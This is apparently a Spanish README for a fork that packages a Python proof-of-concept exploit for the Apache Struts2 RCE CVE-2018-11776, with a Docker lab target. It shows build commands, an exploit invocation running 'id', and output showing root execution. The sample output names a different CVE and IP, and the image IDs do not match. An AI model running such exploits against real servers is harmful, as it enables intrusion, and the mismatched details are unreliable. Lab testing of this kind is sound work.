
Exploit de prueba de concepto en Python para la vulnerabilidad de ejecución remota de código CVE-2018-11776 de Apache Struts2, con un contenedor Docker para pruebas contra las versiones afectadas 2.3-2.3.34 y 2.5-2.5.16.
Esto está basado en https://github.com/hook-s3c/CVE-2018-11776-Python-PoC. La construcción del contenedor y las instrucciones no funcionaron como se describe en el README, por lo que se creó este fork. El exploit de PoC utilizado es de Rapid7.
Agradecimientos:
hook-s3c (github.com/hook-s3c), @hook_s3c en Twitter
Rapid7 https://github.com/rapid7/metasploit-framework/issues/8064
Man Yue Mo de Semmle ha revelado una vulnerabilidad RCE en Struts2, entregada en un payload codificado en la ruta URL de una solicitud.
Las versiones afectadas son 2.3 a 2.3.34, y 2.5 a 2.5.16.
La configuración predeterminada no es vulnerable. Este contenedor, y muchos otros, son vulnerables.
Es preferible construir un contenedor a partir de un Dockerfile cuando puedes ver qué está entrando en la construcción.
git clone https://github.com/freshdemo/ApacheStruts-CVE-2018-11776 ./Struts
cd Struts
docker build . -t freshdemo/apachestruts
Encuentra el nuevo contenedor con
docker images
La salida debería ser similar a esto, donde puedes obtener el ID de la imagen.
root@DockerHost:~/ApacheStruts-CVE-2018-11776# docker images REPOSITORY TAG IMAGE ID CREATED SIZE
freshdemo/apachestruts latest 6586cedf49fa About a minute ago 542MB
Construye e inicia un contenedor con lo siguiente.
docker run -d --name apachestruts -p 8080:8080 d39018c50afe
Asegúrate de que cualquier firewall de entrada/salida permita el puerto que especificaste anteriormente (8080), y ejecuta el exploit contra tu objetivo con lo siguiente.
python struts.py http://192.168.2.188:8080 'id'
Tu salida debería ser similar a esto.
root@k:/home/s# python struts.py http://192.168.2.188:8080 'id' [*] CVE: 2017-5638 - Apache Struts2 S2-045 http://13.88.250.188:8080 : [*] cmd: id uid=0(root) gid=0(root) groups=0(root)